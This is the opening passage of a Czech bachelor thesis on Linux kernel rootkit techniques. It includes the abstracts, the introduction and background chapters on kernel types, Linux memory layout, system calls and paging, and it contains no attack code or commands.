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Licencˇnı´ smlouva je uvedena´ v archivnı´m vy´tisku ulozˇene´m v knihovneˇ FIT VUT v Brneˇ.
Abstrakt
Tato bakala´rˇska´ pra´ce se zameˇrˇuje na bezpecˇnost Linuxove´ho ja´dra z u´tocˇn´ıkova po-
hledu. Snazˇ´ı se identifikovat a zmapovat vesˇkere´ charakteristicke´ rysy a metody pouzˇ´ıvane´
dnesˇn´ımi pocˇ´ıtacˇovy´mi pira´ty. Jedn´ım z c´ıl˚u te´to pra´ce je poskytnout komplexn´ı pohled na
danou problematiku. Ve vy´sledku tak mu˚zˇe slouzˇit jako mala´ referencˇn´ı prˇ´ırucˇka komukoliv,
kdo ma´ za´jem o rozsˇ´ıˇren´ı znalost´ı z oblasti jaderne´ bezpecˇnosti.
Pra´ce se skla´da´ ze cˇtyrˇ cˇa´st´ı. Prvn´ı opakuje a definuje nejza´kladneˇjˇs´ı pojmy a cˇleneˇn´ı z
oblasti operacˇn´ıch syste´mu˚. Druha´ a trˇet´ı cˇa´st tvorˇ´ı ja´dro pra´ce. Zahrnuj´ı principy a metody
pouzˇ´ıvane´ pro skryt´ı proces˚u, soubor˚u, spojen´ı apod. Posledn´ı kapitola je veˇnova´na dopro-
vodny´m te´mat˚um. Prˇ´ılohou k te´to bakala´rˇske´ pra´ci je skupina jaderny´m modul˚u, ktere´
demonstruj´ı diskutovane´ proble´my, a tabulky, porovna´vaj´ıc´ı soucˇasne´ rootkity.
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Abstract
This bachelor thesis focuses on the Linux kernel security from the attacker perspective.
It tries to identify and map all key features and methods used by nowadays cyber-terrorists.
One of its aims is to give a comprehensive overview of this topic. At final, it can serve as a
small reference for everybody who wants to broaden his knowledge of Linux kernel security.
The work consists of four parts. The first part repeats and defines basic notions and
taxonomy of operation systems. The second and third part form the core. They cover
principles and methods used to hide processes, files, connections, etc. The last chaper is
devoted to related issues. A supplement of this bachelor thesis is a set of demonstrating
modules, which implement discussed problems involved, and tables, where can be found a
comparison of nowadays rootkits.
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U´vod
Linux je od sve´ho pocˇa´tku povazˇova´n za jeden z nejprogresivneˇjˇs´ıch prˇedstavitel˚u z rˇady
existuj´ıc´ıch operacˇn´ıch syste´mu˚. Je zna´m svoj´ı vysokou kvalitou na´vrhu, flexibilitou vy´voje
a velkou programa´torskou za´kladnou. Za dobu sve´ existence si nasˇel cestu te´meˇrˇ do vsˇech
zarˇ´ızen´ı, ktere´ lze nazvat vy´pocˇetn´ım prostrˇedkem.
Dı´ky sve´ politice otevrˇene´ho zdrojove´ho ko´du nab´ız´ı kazˇde´mu mozˇnost ja´dro meˇnit,
vylepsˇovat a experimentovat s n´ım. Ty nejlepsˇ´ı u´pravy pak procha´zej´ı schvalovac´ım proce-
sem zacˇleneˇn´ı do oficia´ln´ı verze ja´dra. Strukturu ja´dra ale mu˚zˇeme povazˇovat i za jakousi
d˚uveˇrnou informaci, ktera´ je vsˇak kazˇde´mu prˇ´ıstupna´. Pro u´tocˇn´ıka maj´ı jaderne´ ko´dy po-
dobnou va´hu jako stavebn´ı pla´ny banky pro bankovn´ıho zlodeˇje. Nasˇ´ım ”stavebn´ım pla´nem“
tedy budou zdrojove´ ko´dy ja´dra a nasˇ´ım c´ılem bude identifikace zranitelny´ch mı´st ”velko-
lepe´ stavby“ – ja´dra.
Pra´ce se skla´da´ ze cˇtyrˇ kapitol. Prvn´ı definuje za´kladn´ı pojmy, s ktery´mi budeme po
zbytek pra´ce pracovat a prˇina´sˇ´ı zasazen´ı diskutovane´ problematiky do sˇirsˇ´ıho kontextu.
Popisuje architektonickou strukturu Linuxove´ho ja´dra, kterou cˇlen´ı na peˇt samostatny´ch
podsyste´mu˚, a vysveˇtluje rozd´ıl mezi uzˇivatelsky´m a jaderny´m prostorem. Za´veˇr prvn´ı
kapitoly je veˇnova´n zp˚usobu psan´ı jaderny´ch programu˚.
Druha´ a trˇet´ı kapitola tvorˇ´ı ja´dro bakala´rˇske´ pra´ce. Prˇi vytva´rˇen´ı vlastn´ı klasifikace jsem
se rozhodl oddeˇlit princip u´toku (jaky´m zp˚usobem je u´tok veden) od c´ıle u´toku (jaka´ sluzˇba
je u´tokem zasazˇena). Vznika´ tak unika´tn´ı kategorizace princip˚u, ktera´ je zachycena v druhe´
kapitole. Kazˇda´ kategorie obsahuje demonstracˇn´ı program, ktery´ byl navrhnut specia´lneˇ
pro oveˇrˇen´ı platnosti kazˇde´ho z princip˚u. Dı´ky podrobne´mu studiu rozhran´ı syste´movy´ch
vola´n´ı byl objeven i princip novy´. Soucˇa´st´ı kapitoly je pr˚ubeˇzˇna´ diskuze za´kladn´ıch vy´hod
a nevy´hod jednotlivy´ch prˇ´ıstup˚u vcˇetneˇ zp˚usob˚u detekce a obrany.
Trˇet´ı kapitola pokry´va´ u´toky na samostatne´ syste´move´ sluzˇby. Jedna´ se o u´toky na
proces, adresa´rˇe a soubory, spojen´ı, aplikace a odposlech. U kazˇde´ho u´toku jsou vysveˇtleny
alternativy a proble´m je implementova´n jedn´ım z princip˚u kapitoly dveˇ. Vznika´ tak dalˇs´ı
skupina experimenta´ln´ıch programu˚. Kapitola pokracˇuje v diskuzi silny´ch a slaby´ch stra´nek
jednotlivy´ch prˇ´ıstup˚u.
Posledn´ı kapitola pokry´va´ te´mata, ktera´ mu˚zˇeme oznacˇit jako doprovodna´. Obsahuje
zp˚usoby zava´deˇn´ı ko´du do ja´dra a rˇesˇen´ı proble´mu˚ spojeny´ch s restartova´n´ım napadene´ho
syste´mu. Cˇa´st prostoru je veˇnova´no komunikacˇn´ım rozhran´ım rootkit˚u. Kapitola obsahuje
cˇtyrˇi doprovodne´ programy.
Ve vy´sledku vznikla sada trˇiceti vlastn´ıch demonstracˇn´ıch programu˚ (z toho dvacet osm
jaderny´ch modul˚u), ktere´ jsou naprogramova´ny uniformn´ım zp˚usobem. Podporuj´ı pocho-
pen´ı prob´ırane´ho textu a mohou slouzˇit jako vy´chodisko pro dalˇs´ı vy´vojovou etapu. Jejich
seznam je soucˇa´st´ı prˇ´ılohy A, na kterou se text na rˇadeˇ mı´st odvola´va´.
Prˇi studiu a tvorbeˇ te´to pra´ce mi byly neocenitelny´m pomocn´ıkem prˇedevsˇ´ım publi-
kace [1, 2, 3] a zdrojove´ ko´dy Linuxove´ho ja´dra. Pro snazsˇ´ı orientaci v jaderne´m ko´du byl
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vytvorˇen podrobny´ rejstrˇ´ık symbol˚u, ktery´ se nacha´z´ı v prˇ´ıloze B. Usnadnˇuje vyhleda´va´n´ı
definic jaderny´ch funkc´ı a struktur, ktere´ jsou v pra´ci pouzˇity.
Jednou z motivac´ı pra´ce bylo porovnat vlastnosti a kvalitu verˇejneˇ dostupny´ch rootkit˚u.
Vy´sledky tohoto u´kolu lze nale´zt v tabulka´ch prˇ´ılohy C. Tabulky jsou navrzˇeny tak, aby





U´vodn´ı kapitola je rozcˇleneˇna na trˇi podkapitoly. Prvn´ı definuje a opakuje za´kladn´ı
pojmy z oblasti operacˇn´ıch syste´mu˚. Druha´ podkapitola se veˇnuje strukturˇe Linuxove´ho
ja´dra. Cˇlen´ı ho na peˇt podsyste´mu˚ a kazˇdy´ ve strucˇnosti charakterizuje. Podrobneˇ se zaby´va´
rozd´ılem mezi uzˇivatelsky´m a jaderny´m rezˇimem. Posledn´ı podkapitola shrnuje pravidla pro
psan´ı programu˚, beˇzˇ´ıc´ıch v jaderne´m adresove´m prostoru.
1.1 Za´kladn´ı pojmy
Operacˇn´ı syste´m ma´ v za´kladn´ı hierarchii kazˇde´ho vy´pocˇetn´ıho syste´mu vy´raznou a
nicˇ´ım nenahraditelnou roli. Ze sve´ pozice (obr. 1.1) ma´ za u´kol vytvorˇit spojuj´ıc´ı vrstvu mezi
hardware pocˇ´ıtacˇe a uzˇivatelsky´mi aplikacˇn´ımi programy. Mu˚zˇe by´t cha´pa´n v uzˇsˇ´ım a sˇirsˇ´ım
slova smyslu – od samotne´ho ja´dra azˇ po kolekci programu˚ nutny´ch pro bezproble´movy´
provoz cele´ho syste´mu. Z pohledu te´to pra´ce se na´m hod´ı definice sˇirsˇ´ı, nebot’ nasˇ´ım c´ılem





Obra´zek 1.1: Za´kladn´ı hierarchie vy´pocˇetn´ıho syste´mu
Ja´dro, jakozˇto steˇzˇejn´ı prvek, je zavedeno prˇi spusˇteˇn´ı prvn´ı1 a beˇzˇ´ı po celou dobu beˇhu
vy´pocˇetn´ıho syste´mu. Rezˇie zp˚usobena´ beˇzˇ´ıc´ım ja´drem je na´m kompenzova´na na´sleduj´ıc´ımi
sluzˇbami [4]:
• spra´vce prostrˇedk˚u – dovoluje prostrˇedky (procesory, pameˇt’ a ostatn´ı periferie)
sd´ılet efektivneˇ a t´ım maxima´lneˇ vyuzˇ´ıvat pocˇ´ıtacˇove´ zdroje. Du˚lezˇitou roli hraje i
v bezpecˇnostn´ı politice cele´ho syste´mu, nebot’ ja´dro mus´ı z d˚uvodu prˇ´ıme´ komunikace
s hardware beˇzˇet v privilegovane´m rezˇimu (kap. 1.2.3).
1Po prˇeda´n´ı rˇ´ızen´ı BIOSem.
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• tv˚urce prostrˇed´ı – vytva´rˇ´ı standardn´ı rozhran´ı pro uzˇivatelske´ aplikacˇn´ı programy.
Podporuje t´ım prˇenositelnost aplikac´ı naprˇ´ıcˇ r˚uzny´mi operacˇn´ımi syste´my. Za´rovenˇ
vytva´rˇ´ı za´kladn´ı abstrakce jako je proces, soubor nebo virtua´ln´ı pameˇt’.
Proces je v odborny´ch publikac´ıch typicky definova´n jako ”an instance of a program
in execution“ [2] , cozˇ volneˇ znamena´ beˇzˇ´ıc´ı program. Cˇasto je take´ oznacˇova´n jako u´loha.
Z nasˇeho pohledu bude cha´pa´n jako kolekce datovy´ch struktur, ktere´ popisuj´ı aktua´ln´ı stav
spusˇteˇne´ho programu.
K tomu, aby mohl proces beˇzˇet, potrˇebuje cˇas od cˇasu obsadit centra´ln´ı vy´pocˇetn´ı
jednotku. Ta se mu˚zˇe nacha´zet pra´veˇ v jednom z na´sleduj´ıc´ıch stav˚u:
• CPU beˇzˇ´ıc´ı v uzˇivatelske´m prostoru,
• CPU beˇzˇ´ıc´ı v jaderne´m prostoru po syste´move´m vola´n´ı,
• CPU beˇzˇ´ıc´ı v jaderne´m prostoru po prˇerusˇen´ı.
Zat´ımco prvn´ı dva prˇ´ıpady jsou u´zce sva´za´ny s pra´veˇ prob´ıhaj´ıc´ım procesem, u po-
sledn´ıho tomu tak veˇtsˇinou nen´ı.
Vı´ceu´lohovy´ operacˇn´ı syste´m umozˇnˇuje prova´deˇt neˇkolik u´loh soucˇasneˇ. Tato schopnost
je anglicky nazy´va´na jakomultitasking. Multitasking mu˚zˇe by´t realizova´n dveˇma za´kladn´ımi
zp˚usoby [5]:
1. zda´nlivy´ – vytva´rˇ´ı se pouze dojem soucˇasne´ho beˇhu rychly´m prˇep´ına´n´ım u´loh. Vycha´z´ı
ze skutecˇnosti, zˇe pouze jedna u´loha mu˚zˇe v dany´ okamzˇik obsadit procesor. Podle
zp˚usobu prˇideˇlova´n´ı a odeb´ıra´n´ı cˇasovy´ch kvant da´le rozliˇsujeme:
(a) kooperativn´ı (nepreemptivn´ı) – vyzˇaduje aktivn´ı spolupra´ci pra´veˇ beˇzˇ´ıc´ıch
u´loh. Kazˇda´ u´loha mus´ı dostatecˇneˇ cˇasto prˇeda´vat rˇ´ızen´ı zpeˇt operacˇn´ımu syste´-
mu, aby mohl rozhodnout o dalˇs´ım prˇideˇlen´ı vy´pocˇetn´ıch prostrˇedk˚u. Za´sadn´ı
nevy´hoda tohoto prˇ´ıstupnu spocˇ´ıva´ v mozˇnosti zastaven´ı syste´mu sˇpatneˇ napro-
gramovanou u´lohou2.
(b) preemptivn´ı – prˇideˇlova´n´ı a odeb´ıra´n´ı procesoru ma´ plneˇ v kompetenci operacˇn´ı
syste´m a deˇje se tak v pravidelny´ch intervalech na za´kladeˇ prˇedem definovane´ho
algoritmu. I v tomto prˇ´ıpadeˇ se mu˚zˇe pra´veˇ prova´deˇna´ u´loha dobrovolneˇ vzda´t
prˇideˇlene´ho vy´pocˇetn´ıho cˇasu – typicky cˇeka´n´ım na dokoncˇen´ı vstup-vy´stupn´ı
operace. Oproti nepreemptivn´ı varianteˇ je slozˇiteˇjˇs´ı na implementaci a vyzˇaduje
vy´razneˇjˇs´ı hardwarovou podporu.
2. skutecˇny´ – vyzˇaduje plnou hardwarovou podporu (v´ıce procesor˚u).
Soubor je pojmenovana´ usporˇa´dana´ kolekce dat ulozˇena´ na datove´m nosicˇi. Mezi charak-
teristicke´ atributy patrˇ´ı typ, de´lka, cˇasove´ a vlastnicke´ u´daje, uzˇivatelska´ opra´vneˇn´ı apod.
Kolekci soubor˚u pak nazy´va´me adresa´rˇ. O jejich fyzickou reprezentaci na datove´m nosicˇi
se stara´ podsyste´m operacˇn´ıho syste´mu – syste´m soubor˚u (kap. 1.2.4).
2Bohate´ vyuzˇit´ı vsˇak nacha´z´ı ve spojen´ı s vestaveˇny´mi syste´my, kde jsou u´lohy podrobeny komplexn´ı
analy´ze.
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Virtua´ln´ı pameˇt’ je zp˚usob spra´vy pameˇti pocˇ´ıtacˇe za u´cˇelem vyuzˇit´ı v´ıce vnitrˇn´ı pameˇti,
nezˇ je skutecˇneˇ k dispozici. V modern´ıch operacˇn´ıch syste´mech tvorˇ´ı nejd˚ulezˇiteˇjˇs´ı pod-
syste´m – spra´va pameˇti (kap. 1.2.4).
Vı´ceuzˇivatelsky´ operacˇn´ı syste´m ma´ prostrˇedky pro vytvorˇen´ı pracovn´ıho prostrˇed´ı pro
v´ıce jak jednoho uzˇivatele. Mus´ı obsahovat autentizacˇn´ı mechanizmy pro oveˇrˇen´ı identity
uzˇivatele a udrzˇet je v bezpecˇ´ı prˇed nezˇa´douc´ımi vlivy uzˇivatel˚u ostatn´ıch – od narusˇen´ı
soukromı´ azˇ po neadekva´tn´ı vyuzˇ´ıva´n´ı vy´pocˇetn´ıch prostrˇedk˚u.
Druhy jader rozliˇsujeme podle mnozˇstv´ı ko´du vykona´vane´ho v jaderne´m adresove´m pro-
storu (obr. 1.2) a mnozˇstv´ı sluzˇeb a abstrakc´ı, ktere´ na´m poskytuje. Nejbeˇzˇneˇjˇs´ı cˇleneˇn´ı [4, 5]
je na:
• Monoliticka´ ja´dra. Vesˇkery´ ko´d beˇzˇ´ı v jaderne´m adresove´m prostoru a nab´ız´ı vy-
sokou´rovnˇove´ rozhran´ı s velky´m mnozˇstv´ım sluzˇeb a abstrakc´ı. Podsyste´my ja´dra jsou
u´zce propojeny, cozˇ umozˇnˇuje maxima´ln´ı mozˇnou efektivitu beˇhu ja´dra. Na druhou
stranu chyba jedine´ho podsyste´mu mu˚zˇe ohrozit bezpecˇnost a stabilitu syste´mu jako
celku. Aby bylo mozˇne´ rozsˇiˇrovat ja´dro za beˇhu bez nutnosti restartu, veˇtsˇina mo-
noliticky´ch jader podporuje dynamicke´ nahra´va´n´ı modul˚u. Jakmile je modul jednou
zaveden, sta´va´ se plnohodnotnou soucˇa´st´ı ja´dra a mu˚zˇe k ja´dru prˇistupovat libovolny´m
zp˚usobem. Tato vlastnost mu˚zˇe by´t velice snadnou cestou k modifikaci beˇzˇ´ıc´ıho ja´dra
(kap. 4.1.1).
• Mikroja´dra. Snazˇ´ı se minimalizovat mnozˇstv´ı ko´du beˇzˇ´ıc´ıho v jaderne´m adresove´m
prostoru a poskytuje pouze za´kladn´ı rozhran´ı, sluzˇby a abstrakce. Vsˇe ostatn´ı je
prˇesunuto do uzˇivatelske´ho pameˇt’ove´ho prostoru do tzv. server˚u. Koncept mikro-
jader nara´zˇ´ı prˇedevsˇ´ım na nutnost vysˇsˇ´ı rezˇie z d˚uvod˚u cˇasteˇjˇs´ıch syste´movy´ch vola´n´ı
a t´ım spojeny´ch zmeˇn kontext˚u. Prˇina´sˇ´ı vsˇak lepsˇ´ı na´vrh a je bezpecˇneˇjˇs´ı.
• Hybridn´ı ja´dra. Jsou kombinac´ı prˇedesˇly´ch dvou variant jader. Hlavn´ı nevy´hodu
mikrojader se snazˇ´ı eliminovat prˇesunut´ım neˇktery´ch sluzˇeb v podobeˇ server˚u (naprˇ.
souborovy´ syste´m) do jaderne´ho adresove´ho prostoru.
• Experimenta´ln´ı ja´dra. Jsou zastoupeny pico, nano cˇi exoja´dry. Veˇtsˇinou se snazˇ´ı











Obra´zek 1.2: Za´kladn´ı druhy jader
7
1.2 Linux
Korˇeny ja´dra spadaj´ı do roku 1991, kdy finsky´ student helsinske´ univerzity Linus Tor-
valds zverˇejnil prvn´ı verzi sve´ho Linuxu. Vycha´zel prˇi tom z Minixu3, cozˇ je operacˇn´ı
syste´m Unixove´ho typu urcˇeny´ pro podporu vy´uky. Od te´ doby se na vy´voji Linuxu pod´ılelo
tis´ıce vy´voja´rˇ˚u a ja´dro bylo zarˇazeno do projektu GNU. Zjednodusˇene´ sche´ma architektury
















































Procesor Paměť Disk, CD, ... Konzole, ... Síťové 
rozhraní
Obra´zek 1.3: Zjednodusˇena´ architektura operacˇn´ıho syste´mu Linux
V dnesˇn´ı dobeˇ mu˚zˇeme Linux klasifikovat jako typicke´ho prˇedstavitele monoliticky´ch ja-
der s modula´rn´ı podporou. Jedna´ se o v´ıceu´lohovy´ a v´ıceuzˇivatelsky´ operacˇn´ı syste´m s vyni-
kaj´ıc´ı souborovou, s´ıt’ovou a v´ıceprocesorovou podporou. Nen´ı proto divu, zˇe sve´ uplatneˇn´ı
3Minix je zkr. Minimal Unix [6], Andrew Tanenbaum.
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nacha´zel prˇedevsˇ´ım v serverovy´ch syste´mech. Mozˇnost prˇerusˇen´ı v jaderne´m adresove´m pro-
storu4, ktera´ byla implementova´na od verze 2.6, podporuje nasazen´ı tohoto syste´mu i na
klasicke´ stoln´ı pocˇ´ıtacˇe. Hlavn´ı prˇ´ınos spocˇ´ıva´ v rychlejˇs´ıch odezva´ch na uzˇivatelske´ akce i
prˇi vysoke´m zat´ızˇen´ı pracovn´ı stanice.
1.2.1 Pouzˇita´ architektura a verze ja´dra
V dalˇs´ım textu budeme prˇedpokla´dat architekturu IA-32, drˇ´ıve oznacˇovanou jako i386.
Jedna´ se o 32bitovou, registrovou architekturu s CISCovou instrukcˇn´ı sadou. Veˇtsˇina do-
provodny´ch ko´d˚u v tomto textu postra´da´ z d˚uvod˚u lepsˇ´ı cˇitelnosti typove´ a jine´ kontroly.
Implementacˇn´ı podrobnosti lze nale´zt ve zdrojovy´ch textech jednotlivy´ch prˇ´ıklad˚u, ktere´
jsou ned´ılnou soucˇa´st´ı te´to pra´ce. Orientacˇn´ı vy´stup teˇchto modul˚u je mozˇne´ zhle´dnout
v prˇ´ıloze A. Pro za´jemce o hlubsˇ´ı studium obsahuje prˇ´ıloha B tabulku pouzˇity´ch sym-
bol˚u a jejich odkaz do zdrojovy´ch ko´d˚u ja´dra. Da´le prˇedpokla´da´me pouze jednoproceso-
rovy´ vy´pocˇetn´ı prostrˇedek. Pouzˇite´ ja´dro bylo 2.6.16.59. Prˇes vesˇkerou snahu o zachova´n´ı
maxima´ln´ı prˇenositelnosti je nutne´ si uveˇdomit, zˇe neˇktere´ metody a techniky vyuzˇ´ıvaj´ı
unika´tn´ıch vlastnost´ı te´to architektury poprˇ. verze pouzˇite´ho ja´dra. Autor nenese zˇa´dnou
zodpoveˇdnost za prˇ´ıpadne´ sˇkody vznikle´ prˇi experimentova´n´ım s teˇmito jaderny´mi moduly.
1.2.2 Uzˇivatelsky´ pameˇt’ovy´ prostor
Uzˇivatelsky´ pameˇt’ovy´ prostor se nacha´z´ı od adresy 0x00000000 po adresu 0xC00000005 a
vyplnˇuje prostor o velikosti 3GB. Jedna´ se o virtua´ln´ı adresovy´ prostor, ktery´ patrˇ´ı aplikaci.
Aplikace mu˚zˇe pouzˇ´ıvat pouze tu cˇa´st virtua´ln´ıho adresove´ho prostoru, kterou si doprˇedu za-



































Obra´zek 1.4: Mapa pameˇti
Kazˇdy´ program se skla´da´ z neˇkolika sekc´ı, ktere´ se prˇi zava´deˇn´ı do hlavn´ı operacˇn´ı
pameˇti mapuj´ı na vhodne´ adresove´ pozice (obr. 1.4). Tyto sekce deˇl´ıme [7, 2] na:
• Ko´dova´ oblast. Obsahuje spustitelny´ ko´d v podobeˇ instrukc´ı pro danou architek-
turu.
• Datova´ oblast. Obsahuje globa´ln´ı promeˇnne´, ktere´ se deˇl´ı podle pocˇa´tecˇn´ı hodnoty
na:
4Takove´ ja´dro nazy´va´me angl. reentrant kernel.
5Hodnotu hranicˇn´ı adresy urcˇuje symbol PAGE OFFSET.
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* BSS. Neinicializovane´ globa´ln´ı promeˇnne´.
* Data. Inicializovane´ globa´ln´ı promeˇnne´. Jsou soucˇa´st´ı spustitelne´ho souboru.
• Hromada. Alokovana´ pameˇt’ vznikla´ za chodu programu. Prˇ´ıstup k n´ı je mozˇny´ pouze
prˇes ukazatele a je plneˇ v rezˇii programa´tora.
• Knihovny. Jsou skupinou modul˚u, ktere´ zajiˇst’uj´ı beˇzˇ´ıc´ım aplikac´ım nejbeˇzˇneˇjˇs´ı sluzˇby
a snazsˇ´ı komunikaci s operacˇn´ım syste´mem. Jedna´ se prˇedevsˇ´ım o vstup-vy´stupn´ı,
rˇeteˇzcove´, matematicke´ a cˇasove´ funkce. Da´le pak funkce dynamicke´ alokace pameˇti.
• Za´sobn´ık. Obsahuje loka´ln´ı promeˇnne´, parametry funkc´ı a na´vratove´ adresy.
1.2.3 Rozhran´ı syste´movy´ch vola´n´ı
K tomu, aby mohl operacˇn´ı syste´m Linux vytvorˇit dostatecˇneˇ bezpecˇne´ prostrˇed´ı pro
aplikace a hardware, potrˇebuje ke sve´mu beˇhu procesor s podporou alesponˇ dvou r˚uzny´ch
u´rovn´ı beˇhu. Kdyzˇ procesor zpracova´va´ proces, ktery´ beˇzˇ´ı v uzˇivatelske´m pameˇt’ove´m pro-
storu, beˇzˇ´ı v tzv. uzˇivatelske´m rezˇimu. V tomto stavu nemu˚zˇe pouzˇ´ıvat vesˇkere´ instrukce a
t´ım ma´ regulovany´ prˇ´ıstup k hardware a do pameˇti. V opacˇne´m prˇ´ıpadeˇ se procesor nacha´z´ı
v jaderne´m pameˇt’ove´m prostoru a beˇzˇ´ı v tzv. jaderne´m rezˇimu, kdy ma´ dovoleny vesˇkere´
operace. K prˇepnut´ı mezi mo´dy mu˚zˇe probeˇhnout pouze prˇes tzv. syste´movou bra´nu6. Ta
je vyvola´na programem v prˇ´ıpadeˇ, zˇe potrˇebuje prove´st operaci, na kterou v uzˇivatelske´m








Obra´zek 1.5: Hierarchie rozhran´ı
Sluzˇby beˇzˇ´ıc´ı v jaderne´m rezˇimu jsou aplikac´ım dostupne´ vy´hradneˇ prˇes rozhran´ı sy-
ste´movy´ch vola´n´ı. Z obra´zku 1.5 je patrne´, zˇe toto rozhran´ı tvorˇ´ı za´kladn´ı vrstvu mezi
aplikacemi a operacˇn´ım syste´mem. Mu˚zˇe by´t vyvola´na dveˇma zp˚usoby [4]:
1. prˇ´ımo – z aplikace prˇes specializovanou instrukci (naprˇ. softwarove´ prˇerusˇen´ı)
2. neprˇ´ımo – prostrˇednictv´ım knihovny.
1.2.4 Jaderny´ pameˇt’ovy´ prostor
Jaderny´ pameˇt’ovy´ prostor vyplnˇuje zby´vaj´ıc´ı 1GB pameˇti od adresy 0xC00000000 po
0xFFFFFFFF (obr. 1.4). Tato pameˇt’ je prˇ´ıstupna´ pouze z tzv. supervizor mo´du7 a aplikace
6Typ deskriptoru prˇerusˇen´ı, ktere´ mu˚zˇe by´t vyvola´no z uzˇivatelske´ho rezˇimu. Jedna´ se o instrukce into,
bound a int $0x80.
7U´rovenˇ CPU pro jaderny´ rezˇim, na x86 zna´ma´ jako ring 0.
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ji nemohou pouzˇ´ıvat. Nacha´z´ı se v n´ı fyzicka´ reprezentace cele´ho ja´dra. Ja´dro si mu˚zˇeme
rozdeˇlit na peˇt za´kladn´ıch podsyste´mu˚ podle obra´zku 1.3. Jsou to [3]:
1. Spra´va proces˚u. Ma´ za u´kol vytva´rˇet, spravovat a rusˇit jednotlive´ procesy. Ty jsou
reprezentova´ny datovy´mi strukturami, tzv. proces deskriptory (task struct), ktere´
jsou prova´za´ny pomoc´ı obousmeˇrneˇ va´zane´ho seznamu. Da´le zajiˇst’uje komunikaci
proces˚u s okol´ım a mezi sebou navza´jem vcˇetneˇ prˇ´ıbuzensky´ch vztah˚u. Vy´raznou roli
zde zasta´va´ O(1) pla´novacˇ, ktery´ urcˇuje, jaky´ proces bude beˇzˇet v na´sleduj´ıc´ı chv´ıli.
Rychly´m strˇ´ıda´n´ım proces˚u vytva´rˇ´ı iluzi soucˇasne´ho beˇhu v´ıce u´loh. V Linuxu se
jedna´ o preemptivn´ı variantu.
2. Spra´va pameˇti. Jedna´ se pravdeˇpodobneˇ o nejslozˇiteˇjˇs´ı podsyste´m. Jeho hlavn´ım
u´kolem je prˇeklad logicke´ adresy, se kterou pracuje procesor, na adresu fyzickou, ktera´
se nacha´z´ı v operacˇn´ı pameˇti. Jelikozˇ se jedna´ o cˇastou a slozˇitou operaci, je cˇa´st cele´ho
prˇekladove´ho procesu implementova´na za podpory hardware – MMU 8.
Architektura x86 [2, 4, 8, 9, 10] pouzˇ´ıva´ segmentaci, ktera´ je povinna´, a stra´nkova´n´ı,
ktere´ je volitelne´. Syste´m Linux stra´nkova´n´ı pouzˇ´ıva´ a prˇeklad je tedy prova´deˇn ve
dvou kroc´ıch (obr. 1.6):
(a) Prˇevod logicke´ adresy na linea´rn´ı za pouzˇit´ı segmentace. Jelikozˇ segmentace
nemu˚zˇe by´t u te´to architektury vynecha´na, zava´d´ı ja´dro jen ty nejnutneˇjˇs´ı seg-
menty - ko´dovy´ a datovy´ segment pro jaderny´ rezˇim a ko´dovy´ a datovy´ segment
pro uzˇivatelsky´ rezˇim. Ko´dovy´ segment je urcˇen pro cˇten´ı a spousˇteˇn´ı, datovy´
segment pak pro cˇten´ı a za´pis. Vzhledem k tomu, zˇe se ko´dovy´ i datovy´ seg-
ment na operacˇn´ım syste´mu Linux plneˇ prˇekry´vaj´ı, jsou data adresova´na pouze
offsetem, at’ uzˇ se jedna´ o jaky´koliv segment. Docha´z´ı tak k splynut´ı logicke´
a linea´rn´ı adresy a k disjunkci vsˇech operac´ı, ktere´ maj´ı segmenty nastaveny.
Rozd´ıl u´rovn´ı opra´vneˇn´ı ”jaderny´ch“ a ”uzˇivatelsky´ch“ segment˚u vsˇak z˚usta´va´
nada´le zachova´n. Prˇ´ıstup je mozˇny´ pouze tehdy, pokud u´rovenˇ opra´vneˇn´ı nen´ı
mensˇ´ı nezˇ u´rovenˇ opra´vneˇn´ı dane´ho segmentu.
(b) Prˇevod linea´rn´ı adresy na fyzickou neboli stra´nku na ra´mec za pouzˇit´ı
stra´nkova´n´ı. K prˇekladu slouzˇ´ı horn´ıch 20 bit˚u, ktere´ jsou rozdeˇleny na dveˇ cˇa´sti
po 10 bitech9–indexy do dvoju´rovnˇove´ho stra´nkovac´ıho mechanizmu. Doln´ıch 12
bit˚u10 je zachova´no a tvorˇ´ı posunut´ı ve stra´nce/ra´mci. Polozˇka tabulky stra´nek
obsahuje krom cˇ´ısla ra´mce jesˇteˇ dalˇs´ı rezˇijn´ı informace. Jedna´ se naprˇ. o pra´vo
k za´pisu, je-li stra´nka v operacˇn´ı pameˇti, za´kladn´ı kontrola prˇ´ıstupu atd. Chyb´ı
mozˇnost zaka´zat spusˇteˇn´ı instrukc´ı. Z vy´sˇe uvedene´ho vyply´va´, zˇe cely´ virtua´ln´ı
adresn´ı prostor je prˇ´ıstupny´ pro cˇten´ı a spousˇteˇn´ı. Cˇa´st pak i s mozˇnost´ı za´pisu.
Prˇedevsˇ´ım d´ıky stra´nkova´n´ı mu˚zˇe operacˇn´ı syste´m vyuzˇ´ıvat svoji operacˇn´ı pameˇt’
velice efektivneˇ. Umozˇnˇuje totizˇ spustit neˇkolik proces˚u soubeˇzˇneˇ a nahra´t pouze ty
stra´nky, ktere´ jsou opravdu potrˇeba. Dı´ky tomu je mozˇne´ spustit i aplikace, ktere´
vyzˇaduj´ı v´ıce pameˇti, nezˇ je skutecˇneˇ k dispozici. Stra´nky je mozˇne´ jednodusˇe sd´ılet,
cozˇ se vyuzˇ´ıva´ prˇi mapova´n´ı knihoven a rychle´ meziprocesove´ komunikaci. Za´rovenˇ
podporuje prˇenositelnost, nebot’ procesy se zˇa´dny´m zp˚usobem nestaraj´ı o fyzickou
organizaci v pameˇti.
8MMU je zkr. Memory management unit.
9Adresa´rˇ nebo tabulka stra´nek jsou pole s 1024 za´znamy.





































Obra´zek 1.6: Prˇeklad adres
3. Syste´m soubor˚u. Vycha´z´ı ze za´kladn´ı mysˇlenky Unixu reprezentovat vsˇe11 jako sou-
bor. Vytva´rˇ´ı t´ım hierarchii abstrakc´ı, tzv. virtua´ln´ı souborovy´ syste´m, nad hardware,
nebot’ mus´ı odst´ınit r˚uzne´ zp˚usoby prˇ´ıstupu k zarˇ´ızen´ım a zohlednit jejich soubo-
rovy´ syste´m. Vy´sledkem je transparentn´ı prˇ´ıstup prˇes unifikovane´ syste´move´ rozhran´ı.
Jemu podrˇ´ızene´ souborove´ syste´my mu˚zˇeme rozdeˇlit [2, 3] na trˇi kategorie (obr. 2.3):
11Ve skutecˇnosti te´meˇrˇ vsˇe. Viz naprˇ. s´ıt’ova´n´ı.
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• Diskovy´ – spravuje disky a zarˇ´ızen´ı emuluj´ıc´ı jejich chova´n´ı. Mezi nejtypicˇteˇjˇs´ı
souborove´ syste´my tohoto typu patrˇ´ı: Ext2, Ext3, ReiserFS (Unix/Linux), FAT,
NTFS (Windows), ISO9660, UDF (CD/DVD).
